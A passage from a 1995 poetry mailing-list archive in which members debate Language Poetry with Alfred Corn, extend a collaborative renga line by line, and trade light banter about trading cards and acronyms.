few welldeserving interlocutors (keith, etc) out of the rabble, and make a great show of carrying on a pained and painstakingly "objective" conversation about poetics, and generally play the martyr, tho it's all happening through forwards etc.--highly mediated and distant. still, i'm willing to give him the benefit of treating him at face value for several reasons: 1) my sister is a writer of light verse in a formalist mode; i want to support her creative efforts and not engage publically in debates that might result in our being pitted against each other 2) what if AC genuinely thinks he is asking questions in good faith, and just can't help his tone of aggrieved righteousness; telling him off, as others have done eloquently, won't help any putative conversation between LP and Formalists 3) i really don't have anyting against merrill's, bishop's and lowell's poetry, and resent being perceived (as i am in my department, tho paradoxically, i'm the only person that teaches these poets, and i do so quite sympathetically, as anyone who's read my work wd know) as a wild-eyed ignoramus unaware of "tradition" etc... so if AC sees himself as a representative of the aforementioned poets i'd like to welcome him w/ respect, tho his intentions may turn out to be as nefarious as you claim...isn't this funny, i'm feeling like an indigenous 15th century dignitary trying to decide how to receive a could-be conquistador... AC might be disingenuous, but by assuming so, don't we make him so, and thus pre-empt any possibility of conversation?

of course i know all this will be forwarded to him and i'll forfeit my standing as a nice person...JUST KIDDING ALFRED, i know you can rise above it...

there is no use pretending that the Establishment Doesn't Exist.

true, but on the other hand, isn't there sometimes dialogue between establishment and anti-establishment, or is that too naive of me.
>
md

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851. Linda Lane Reinfeld
Language Poetry: Writing As Rescue
Sat 26 Aug 1995

For Alfred Corn and all those generous enough to help him in his explorations of Language Poetry: let me recommend my book, _Language Poetry: Writing As Rescue_ (LSU Press, 1992). I provide an introduction to the social and intellectual background of what is generlly referred to as Language Poetry, close readings of poems by Charles Bernstein, Michale Palmer, and Susan Howe, and good bibliographies--especially in the intro and chapter one. Of course the book is not "up to date," but it's not out of date either. Reviews are still coming out... the most recent from the British _Year's Work in English

Studies_ in which Marjorie Perloff's _Radical Artifice: Writing Poetry in the Age of Media_ and my _Writing As Rescue_ are appreciatively discussed.

Linda Reinfeld

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852. Sheila E. Murphy

Re: Renga

Sat 26 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
>Go endlessly, an obtuse Prussian blue, it binds
>The caravan of windows to what they flee
>These lace curtains, more gauze than bondage, more
>Mollycoddled than aware, thin-spined and pebbling
>but narrow in the waist or waspish Sunday years ago
>Over coffee topped with whipped cream, the Times blowing
>& opining, heavy humid air, cumulus amusing against the
>bleached ribcage ripcorded into compassed wind
>kissing the weatherwoman between her breasts as she
>gives gracious problem: fanatical snacks, landscape of
>flicka my best friend and the storm in the glass of water's
>halfway pertinent incision we keep making safe for ignorance
> (inspection
>denied for not knowing how credenza was meant) & neo-colonizing
>pockets in small furniture intended house sequentially several
>mountains away but it wasn't, you know, a big tango
>when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
>Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
>no ideas but the woven fabric the texture so to speak was at the
> dry cleaners
>piping hot and gloved-in somewhere unsalted, perched on
> prescience
>the chair is sad, alas, and i've lusted tootles' livers
>the odor day toy a cello day dis chevys a bo coo daughter chose
> encore
>Flaubert because we're waiting all throughout eternity for
> moments to be

>of such suchness. In the nooks were creams and in the streams
> were hooks.
>All melded like striated film leftover in the pastel seeds of
> darkness
>falling like a counterirritant around the manchineel. Likewise
>sandpaper juxtaposed with seasoned instruments and recently soft
> fruit
>of subject's object status, violent transformation
>la Ste. Therese into beaming cumulus apokoinu switchback
>and in the u-turns were bookmobiles rounding angles considered
>shrill as pine left in the acres to be aging
>flawlessly, flutes sing genderless in trio, surprised
>by how quiet effort really is or is not, fast enough to sleep
>through thunderstorms, arm over thigh until light shakes
>petals free of names that rain across known skin forgotten
>alive in our hearse hurts, projective nurse if she is to
> go ahead
>and dance, composing instead of straining muscles, far eyes
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum

↑ Index

853. **Sheila E. Murphy**

Re: Revenge of the Renga

Sat 26 Aug 1995

>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
>First inverted whistle of a cardinal in the poplar
>The book and the oboe on the grass under sun and cloud
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>flicka my best friend and the storm in the glass of water's

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>alive in our hearse hurts, projective nurse if she is to
> go ahead
>and dance, composing instead of straining muscles, far eyes
>out, transplanted organs speak, the idiom
>inseams, a snare as solvently unequal-- the power
>of pretending you have no power ("Mistah Corn, he....
plunked steeping into post-shrill yawn of the long tea

↑ Index

854. **Keith Tuma**
Re: Joris's Celan and Corn on L poetry - 24 Aug 1995 to 25 Aug 1995
Sat 26 Aug 1995

Yo Marjorie,

Neither "grateful"nor "pleased"--just courteous, for once in my life. No need to blast away always, especially when others are doing it, and i've at least a little hope that, with texts in hand, some of the conversation may improve.

And there are other "awards" besides those you mention, quite rightly, as dominated by the so-called "establishment." Such awards have never defined (exclusively) the prestige and cultural capital so important to poets, and you as historian and critic should know it. I suppose that Charles B and Ron S and others would like such awards, but as far as I know they're interested in capturing bigger fish and would probably have to readjust subject positions in a flash were they to win a MacArthur.

I guess though that you've earned the right--and have the credentials--to light the torches of polemic, so do what you want, yes? I'll save my bile for the moments I think it's most needed--otherwise I get tired of pissing everybody off.

--keith

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855. **David Kellogg**
Re: More Forwards (fwd)
Sat 26 Aug 1995

On Fri, 25 Aug 1995, George Bowering wrote:

> *Something has been puzzling me here, lately. In Corn's messages he implies that Ashbery is one of "their" poets, a sort of exemplar of the conventional or whatever. When did that happen? I know he was one of those academic press new poet winners at first, but then he was in the Allen anthology, etc.*

I don't know when it happend. But here's some evidence for it. In Vernon Shetley's *After the Death of Poetry*, Ashbery, Bishop, and Merrill are constructed as a "mainstream." And Shetley goes out of his way to say that Ashbery *doesn't* appear in Allen! Can you believe it? He's been mainstreamed enough (I like that word, makes JA sound like a kid who's been going to a "special" school) so that folks like Shetley can either LIE or just forget, and nobody who reads the book for the press (Vendler blurbed it, she must have read the ms) caught the error! (If you haven't red the book, the statement that Ashbery doesn't appear in the Allen NAP is not incidental, but part of the book's major argument that Ashbery "transcends" "mere" camps.)

I'm really sorry I never finished writing my scathing review of that book -- I suppose it would be outdated now....

Cheers,
David
~~~
~~~

Over coffee topped with whipped cream, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
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shrill as pine left in the acres to be aging
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petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
of boys talking on their feet and men talking to their hands

↑ Index

858. **Ron Silliman**
Cage/Cunningham
Sat 26 Aug 1995

The cable TV channel Bravo will run a two-hour show tonight (Sat., Aug. 26) at 7:00 PM Eastern Time on John Cage and Merce Cunningham.

Usually Bravo, like most of the Cable channels, reruns programs 4 or 5 times in the month after the original showing.

Probably better than watching Bill Moyers fawning over whomever (even when it's a poet I like, I cringe to watch Moyers at work)...

Listening to Charles Shere's Symphony in Three Movements as I write. It's wonderful, Charles.

Ron Silliman
[redacted]

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859. **Anmarie Trimble**
Big Mac Wac Pac
Sat 26 Aug 1995

> *anmarie t writes:>*
> *Maria-*
> *As for the tone of this group, uh, it's feister than the, say, the WAC*
> *list? (I think I just gave my age away?)*
>
> *what's wac and how can i claim youth by joining?--md*

That's what I get for trying to write past my bedtime. Sorry. WAC is Writing Across the Curriculum. Not very interesting, and not poetic. I'm trying to start a WAC program at my college, so it was the first thing that came to mind. The ending of sentences with a question mark is the youth marker. I was born after '65. Barely.

I'm off to the mountains for a couple days. Will meditate for renga epiphany. -A.T.

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860. **Sheila E. Murphy**
Re: Renga
Sat 26 Aug 1995

>On Sat, 26 Aug 1995, Rod Smith wrote:
>

>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago
>> Over coffee topped with whipped cream, the Times blowing
>> & opining, heavy humid air, cumulus amusing against the
>> bleached ribcage ripcorded into compassed wind
>> kissing the weatherwoman between her breasts as she
>> gives gracious problem: fanatical snacks, landscape of
>> flicka my best friend and the storm in the glass of water's
>> halfway pertinent incision we keep making safe for ignorance
>> (inspection
>> denied for not knowing how credenza was meant) & neo-colonizing
>> pockets in small furniture intended house sequentially several
>> mountains away but it wasn't, you know, a big tango
>> when the attorney general came, selah hales said, "Dias, oh,ho,
>> kook!"
>> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
>> warehouse, curls
>> no ideas but the woven fabric the texture so to speak was at the
>> dry cleaners
>> piping hot and gloved-in somewhere unsalted, perched on
>> prescience
>> the chair is sad, alas, and i've lusted tootles' livers
>> the odor day toy a cello day dis chevys a bo coo daughter chose
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>> Flaubert because we're waiting all throughout eternity for
>> moments to be
>> of such suchness. In the nooks were creams and in the streams
>> were hooks.
>> All melded like striated film leftover in the pastel seeds of
>> darkness
>> falling like a counterirritant around the manchineel. Likewise
>> sandpaper juxtaposed with seasoned instruments and recently soft
>> fruit
>> of subject's object status, violent transformation
>> la Ste. Therese into beaming cumulus apokoinu switchback

>> and in the u-turns were bookmobiles rounding angles considered
>> shrill as pine left in the acres to be aging
>> flawlessly, flutes sing genderless in trio, surprised
>> by how quiet effort really is or is not, fast enough to sleep
>> through thunderstorms, arm over thigh until light shakes
>> petals free of names that rain across known skin forgotten
>> alive in our hearse hurts, projective nurse if she is to
>> go ahead
>> and dance, composing instead of straining muscles, far eyes
>> out, transplanted organs speak, the idiom
>> inseams, a snare as solvently unequal-- the power
>> of boys talking on their feet and men talking to their hands
in whispers conducive to disrobing weaponry

↑ Index

861. Eryque Gleason
trading cards and WAC
Sat 26 Aug 1995

I've got the Philosopher All Stars trading cards, anybody want to trade for my Ghandi, or maybe even Simpson (Bart)?

> *anmarie t writes:>*
> *Maria-*
> *As for the tone of this group, uh, it's feister than the, say, the WAC list? (I think I just gave my age away?)*
>
> *what's wac and how can i claim youth by joining?--md*
>
> *When I was a boy growing up as child of an Air Force father, until age 11, WAC was Women's Air Corps. So I don't know if WAC shows one's age as youthful or ageful. Yes, what's WAC? --ca*

Charles, was there a WAC as well as WASP?

-eryque

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616

[redacted]

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862. Louis Cabri

place genre heading here & behead

Sat 26 Aug 1995

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
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Over coffee topped with whipped cream, the Times blowing
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kissing the weatherwoman between her breasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
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Flaubert because we're waiting all throughout eternity for moments to be
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and dance, composing instead of straining muscles, far eyes
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
of pretending you have no power ("Mistah Corn, he....
plunked steeping into post-shrill yawn of the long tea
thinking for Christ's sake, Kevin, the god needs a job, and if it
    weren't for the Vatican police

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863. **David Kellogg**
Re: More Forwards (fwd)
Sat 26 Aug 1995

On Fri, 25 Aug 1995, Alfred Corn wrote:

> *To David Kellogg: No putdown intended. We were speaking at cross purposes. I thought you understood that what I was asking for was the aesthetic of LP, what makes it different from other approaches to writing poetry. The criteria you gave overlap with the ones I apply, so I felt frustrated in the wish to get a general introduction to the movement. Yes, I could just plunge in by myself, but I did that before and got nowhere. A critical guide can save years of wasted effort.*

Dear Alfred,

How to respond?: first, apology accepted.

Second, as for a guide to save effort. . . . Hmm. Remember Stuart Gilbert? Joyce commentator, born without a sense of humor? An expert, and a good guide, but he ruined Ulysses for many readers who saw him as a shortcut. (Pound makes up for Gilbert's lack of humor by having "Jim the Comedian" appear in the Pisan Cantos).

Third, sometimes a guide won't help; here's where there may be some fundamental incommensurability, having to do with our respective backgrounds, temperments, etc., what we're willing to accept or how we receive our pleasures. My dying grandfather, bless him, says rock music is "noise" -- and when I grew up I stopped trying to change his mind. Tho if I had to pick a contextualization, I'd pick something indirect, like Marnie Parsons's *Touch Monkeys: Nonsense Strategies for Reading Twentieth-Century Poetry*. Or Bernstein's "Artifice of Absorption" (though I have plenty of problems with that, and actually see it as a Romantic document -- how's that, Charles B? (by the bye, CB, the paper you asked for's in the mail)).

> *Meanwhile I see that LP is only one kind of poetry that interests you, not *the* only. That sounds reasonable to me. What I had been bothered by was the foundational "exclusionary" line of argument I had heard elsewhere: that LP is the "real" poetry of our time and the future; in fact, one of the recent posts takes this position, dismissing the other approach as predictable and boring. (I had used the term "mainstream" before because some of POETICS's posters did.)*

There are simple reasons why Rod doesn't read "mainstream" poetry: it's not worth it to him. Just like language poetry is not worth it to you. Either neither is exclusionary, or both are. (Just for the record, I tend to think that neither practice is exclusionary, but both rhetorics of explanation can be.)

> *I begin to wonder, too, whether the big division proclaimed between the LP movement and the rest of poetry is really useful. Some of the recent posts suggest that it isn't. For after all, poetry using unfamiliar methods of communication goes back at least to Rimbaud (1870) and Mallarme' (1880-1890). Everybody knows about Dada, Modernism, Surrealism, and Black Mountain. Plus various unclassifiables like Gertrude Stein, Laura Riding, Bunting and Ashbery. And the Naropa Institute. So I'm not yet certain that LP has introduced anything that wasn't already there.*

You'll forgive me if I remind you of what William James said about the reception of the new. Somebody correct me if I'm wrong (guess I'm reminding myself, too) but it goes something like this.

First, the response is: Ugh! It's awful. I don't understand.

Then, the response is: I did it first!

Finally, the response is: That's how it's been all along. Everybody's always done it that way.

I see we're at stage three now (having I believe skipped stage two or assimilated it into stage three). But that's to be expected. And here's where Marjorie's comment about the "establishment" becomes relevant, to which I'll put my own Foucault/Bourdieu spin: within the poetic field, some have a

greater stake in conservation (stability) and some have a greater stake in innovation (change). Usually the latter feel (often rightly) that they are excluded from access to symbolic capital (recognition) and the former feel that they have that capital because of the inherent worth of their own work. They tend to see the exclusion of the innovators as a part of the natural course of things, not to be worried about, and when they feel threatened by the innovators they tend to translate radical innovation into traditional terms. That's what I see you doing. By the same token, of course, the innovators tend to overplay the revolutionary potential of their own practice -- and possibly their own exclusion. Which may be one thing that turned you off.

Cheers,
David
~~~
~~~

tell me it ain't so, Alfred

And in response to a question about jazz from someone -- no, no knowledge of lineage required in advance, else who ever would have listened? But, as with poetry, it certainly helps you identify all those quotations. The Smithsonian Collection of Classic Jazz is actually a pretty good place to start a self-education pleasurably -- much better than you might have expected from that source --

by the way, everybody, several of the old Smithsonian recordings of poetry are now out on CD -- There's a really good selection of Sterling Brown recorded across decades -- check out their catalogue --

Maria again,,, if you go off the list while on leave, be sure to give me an address so we can keep in touch about this 'n that --

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865. **Joseph Zitt**
Re: Revenge of the Renga
Sat 26 Aug 1995

On 26 Aug 95 at 5:01, Ron Silliman wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
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> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco

> warehouse, curls
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> of pretending you have no power ("Mistah Corn, he....
frosted tiger scholls as water breaks like wind aloud
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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866. Joseph Zitt
Re: poems & polemics
Sat 26 Aug 1995

On 26 Aug 95 at 8:33, maria damon wrote:

> *okay, sister, as a popcult stalwart i must come to the defense of poetry baseball cards which i think is a swell concept. (even tho it reifies authorship blah blah blah…it does so in a playful way). just y-day i came across some rabbi cards, if u can believe it, in my desk drawer, from a time when i was more seriously into Jewish cultural studies and not spending all my time fending off*

Yow! I'd love to see these. The Fringeware store carries Saint cards, which I got for some of my Catholics friends for Ch* presents last year. (This year, I know already that I'm getting most of my Jewish friends and family copies of Rothenberg's "Exiled in the Word", which is *wonderful*! The local Half-Price Books just got in a heap of them, and I think they're going to go fast.)

Hey, I can trade you a Ron Silliman and a Theresa of Avila for a Nachman of Bratzlav, a Keith Mitchell, and an unnamed draft of "Howl". ---------1--------- 1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

867. Eryque Gleason
Re: More Forwards (fwd)
Sat 26 Aug 1995

David Kellog wrote:

> *Second, as for a guide to save effort. . . . Hmm. Remember Stuart Gilbert? Joyce commentator, born without a sense of humor? An expert, and a good guide, but he ruined Ulysses for many readers who saw him as a shortcut. (Pound makes up for Gilbert's lack of humor by having "Jim the Comedian" appear in the Pisan Cantos).*
>
> *Third, sometimes a guide won't help; here's where there may be some fundamental incommensurability, having to do with our respective backgrounds, temperments, etc., what we're willing to accept or how we receive our pleasures. My dying grandfather, bless him, says rock music is "noise" -- and when I grew up I stopped trying to change his mind.*

David, I empathize with Alfred's request for a guide, and I agree that sometimes a guide won't help a bit. The trick is to find a guide that helps, and the results of their instruction aren't often evident until the guide isn't necessary anymore--assuming that the lost soul has some affinity for the subject. Looking back on

my flight instruction, I realize that my instructor actually taught me very little, he was mostly along to keep me from crashing. My best guide was my father who hadn't flown at all for thirteen years before I started. Of course, at that time I was seventeen and not talking to him. The question really comes down to how badly a guide is required. I've found simple advice to be invaluable (such as a suggestion to read _Tender Buttons_ aloud), where involved discussions can often take a large portion of the enjoyment and flush it.

Eryque

P.S. My grandmother and I agree that she doesn't pretend to find any value in John Lennon, and the same goes for me about the Lennon Sisters

Eryque "Just call me Eric" Gleason
71 E. 32nd St. Box 949
Chicago, IL 60616

[redacted]

↑ Index

868. **Charles Alexander**

Re: trading cards and WAC

Sat 26 Aug 1995

On Sat, 26 Aug 1995 15:27:18 -0500,
Eryque Gleason <[redacted]> wrote:

> *Charles, was there a WAC as well as WASP?*
>
> *-eryque*

Eryque, I know WASP only in the more familiar "white anglo saxon protestant" way -- but I'm not certain what you're referring to. There was certainly a WAC, at least in the 1960's, although I'm not certain when it began, when it ended, or if it still exists. What's your WASP?

all best,
charles

↑ Index

869. Charles Alexander
Re: More Forwards (fwd)
Sat 26 Aug 1995

I keep reading the phrase, first from Corn, then repeated by others quoting him, about "poetry using unfamiliar methods of communication" at least since Rimbaud & Mallarme. Every time I hear that it just grates. Perhaps because I don't buy it, unless it comes with a more thorough discussion concerning "unfamiliar to whom," "why unfamiliar," etc. Maybe it's because I think of poetry as the most welcoming form of comunication I know. Yes, I know, techniques of "defamiliarization" have been common since a long time before Rimbaud or Mallarme. And "defamiliarization" relates to "deterritorialization" rather nicely, whether that deterritorialization is encompassed by Ella Fitzgerald or Deleuze & Guattari.

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charles alexander                    [===========^^============]
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chax press                         [  maybe a  <>  pages     ]
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phone & fax: [redacted]              [     upon  <>  frames    ]
                              [     once  <>  motion    ]
e-mail: [redacted]          [         <>          ]
                              [===========vv============]
```

↑ Index

870. Charles Alexander
Re: More Forwards (fwd)
Sat 26 Aug 1995

(I hit "send" by accident, so here repeat a post I already sent, but here with its continuation)

I keep reading the phrase, first from Corn, then repeated by others quoting him, about "poetry using unfamiliar methods of communication" at least since Rimbaud & Mallarme. Every time I hear that it just grates. Perhaps because I don't buy it, unless it comes with a more thorough discussion concerning "unfamiliar to whom," "why unfamiliar," etc. Maybe it's because I think of poetry as the most welcoming form of comunication I know. Yes, I know, techniques of "defamiliarization" have been common since a long time before Rimbaud or Mallarme. And "defamiliarization" relates to "deterritorialization" rather nicely, whether that deterritorialization is encompassed by Ella Fitzgerald or Deleuze & Guattari.

But perhaps what I don't like about this phrase, as much as its specific form, is how easily Corn tosses it off, as though, because it is old hat to do something "unfamiliar" (or innovative? or building on other's innovations?), it is therefore not very interesting or valuable. I mean, Dada did it, Modernism did it, even "various unclassifiables" (this too sounds like some kind of put down) like Gertrude Stein & Laura Riding did it, so let's not claim that any strategy of experimentation or innovation is the least bit exciting.

I really think that stinks. And that "unfamiliar methods of communication" sounds like using a toilet bowl as a telephone.

```
charles alexander                    [===========^^============]
                              [          <>          ]
chax press                         [  maybe a  <>  pages     ]
                              [     time  <>  letters   ]
phone & fax: [redacted]              [     upon  <>  frames    ]
                              [     once  <>  motion    ]
e-mail: [redacted]          [          <>          ]
                              [===========vv============]
```

↑ Index

871. **Chris Stroffolino**
Re: trading cards and WAC
Sat 26 Aug 1995

"before we married mommy served in the WACS in the philipines"--
WOMAN AIR CORPS---cheap trick, 1979

↑ Index

872. **maria damon**
Re: Renga
Sat 26 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >On Sat, 26 Aug 1995, Rod Smith wrote:
> >
> >> In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more

> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> >> & opining, heavy humid air, cumulus amusing against the
> >> bleached ribcage ripcorded into compassed wind
> >> kissing the weatherwoman between her breasts as she
> >> gives gracious problem: fanatical snacks, landscape of
> >> flicka my best friend and the storm in the glass of water's
> >> halfway pertinent incision we keep making safe for ignorance
> >> (inspection
> >> denied for not knowing how credenza was meant) & neo-colonizing
> >> pockets in small furniture intended house sequentially several
> >> mountains away but it wasn't, you know, a big tango
> >> when the attorney general came, selah hales said, "Dias, oh,ho,
> >> kook!"
> >> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> >> warehouse, curls
> >> no ideas but the woven fabric the texture so to speak was at the
> >> dry cleaners
> >> piping hot and gloved-in somewhere unsalted, perched on
> >> prescience
> >> the chair is sad, alas, and i've lusted tootles' livers
> >> the odor day toy a cello day dis chevys a bo coo daughter chose
> >> encore
> >> Flaubert because we're waiting all throughout eternity for
> >> moments to be
> >> of such suchness. In the nooks were creams and in the streams
> >> were hooks.
> >> All melded like striated film leftover in the pastel seeds of
> >> darkness
> >> falling like a counterirritant around the manchineel. Likewise
> >> sandpaper juxtaposed with seasoned instruments and recently soft
> >> fruit
> >> of subject's object status, violent transformation
> >> la Ste. Therese into beaming cumulus apokoinu switchback
> >> and in the u-turns were bookmobiles rounding angles considered
> >> shrill as pine left in the acres to be aging
> >> flawlessly, flutes sing genderless in trio, surprised
> >> by how quiet effort really is or is not, fast enough to sleep
> >> through thunderstorms, arm over thigh until light shakes
> >> petals free of names that rain across known skin forgotten
> >> alive in our hearse hurts, projective nurse if she is to

> >> go ahead
> >> and dance, composing instead of straining muscles, far eyes
> >> out, transplanted organs speak, the idiom
> >> inseams, a snare as solvently unequal-- the power
> >> of boys talking on their feet and men talking to their hands
> in whispers conducive to disrobing weaponry
down where dead men tell no lies and misdemeanors

↑ Index

873. Gabrielle Welford

Re: Renga

Sat 26 Aug 1995

On Fri, 25 Aug 1995, Rod Smith wrote:

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
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> The caravan of windows to what they flee
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> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
> mountains away but it wasn't, you know, a big tango
> when the attorney general came, selah hales said, "Dias, oh,ho,
> kook!"
> Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> warehouse, curls
> no ideas but the woven fabric the texture so to speak was at the
> dry cleaners
> piping hot and gloved-in somewhere unsalted, perched on
> prescience

> the chair is sad, alas, and i've lusted tootles' livers
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> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to
> go ahead
> and dance, composing instead of straining muscles, far eyes
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
on for another night--rabbit rabbit rabbit rabbit

↑ Index

874. Jorge Guitart
Re: Revenge of the Renga II
Sat 26 Aug 1995

> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
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> Over coffee topped with whipped cream, the Times blowing

> & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka my best friend and the storm in the glass of water's
> halfway pertinent incision we keep making safe for ignorance
> (inspection
> denied for not knowing how credenza was meant) & neo-colonizing
> pockets in small furniture intended house sequentially several
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> by how quiet effort really is or is not, fast enough to sleep
> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to
> go ahead
> and dance, composing instead of straining muscles, far eyes
> out, transplanted organs speak, the idiom

> inseams, a snare as solvently unequal-- the power
> of pretending you have no power ("Mistah Corn, he....
  fed on grans, Im savin dis penny for anodder neo dude"

↑ Index

875. **Charles Alexander**

Re: Renga

Sat 26 Aug 1995

On Sat, 26 Aug 1995 17:17:24 -1000,
Gabrielle Welford <[redacted]> wrote:

>On Fri, 25 Aug 1995, Rod Smith wrote:
>
>> In the books were dreams and in the dreams were books.
>> And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
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>> & opining, heavy humid air, cumulus amusing against the
>> bleached ribcage ripcorded into compassed wind
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>> flicka my best friend and the storm in the glass of water's
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>> prescience
>> the chair is sad, alas, and i've lusted tootles' livers

>> the odor day toy a cello day dis chevys a bo coo daughter chose
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>> Flaubert because we're waiting all throughout eternity for
>> moments to be
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>> darkness
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>> through thunderstorms, arm over thigh until light shakes
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>> alive in our hearse hurts, projective nurse if she is to
>> go ahead
>> and dance, composing instead of straining muscles, far eyes
>> out, transplanted organs speak, the idiom
>> inseams, a snare as solvently unequal-- the power
>on for another night--rabbit rabbit rabbit rabbit
runs rings round rare rutabagas, reason rumbles recessions

↑ Index

876. Chris Stroffolino

place genre heading here and behead

Sat 26 Aug 1995

I was reading Perloff's O'Hara book and like what she says about O'Hara's poem "the critic" in which O'Hara famously refers to the critic (and the critic "inside himself" too, if you will) as the assassin of [his] orchards--- And Perloff certainly has helped advance the stock of more writers I respect than Corn has, but that doesn't mean (Rod S, Steve E. and Patrick P--to name a few) that she shouldn't be questioned--if only insofar as I believe that poets MUST question critical paradigms-- even critical paradigms that flatter and/or justify them viz-a-viz what WCW would call the "bastards out there" (and I am NOT naming namesat present)--- There do seem to be, however, implicit accusations: (and they circulate): "if you don't "come

together right now over M(arjori)e" and Ron in every instance to present a unified front you are therefore and independent (and isn't that Corn's code name) and thus a bourgeois self closer to corn that looks like it's climbing clear up to the sky poking a hole in the ozone of an undivided LEFTist community (aside:--in which some pigs are more equal than others, or to quote the renga "the power of pretending you have no power"...). FOR we all know what INDEPENDENCE DAY means, and community (which Bernstein, to his credit, recently problem- atized--- oops, I'm stepping out of part--scratch that) is a flag you can't burn because it allows poetic freedom, poetic license, radical artifice."
Oy, ye jealous gawds, and to think I gave up being a catholic to party in your ranks..... (this goes on, but it gets "less public"--I mean the topical side of the myth gets refigured in more "subtle" terms that may be mistaken as "universalist" and "ahistorical" to some)... chris s.

↑ Index

877. **Chris Stroffolino**

dylan

Sat 26 Aug 1995

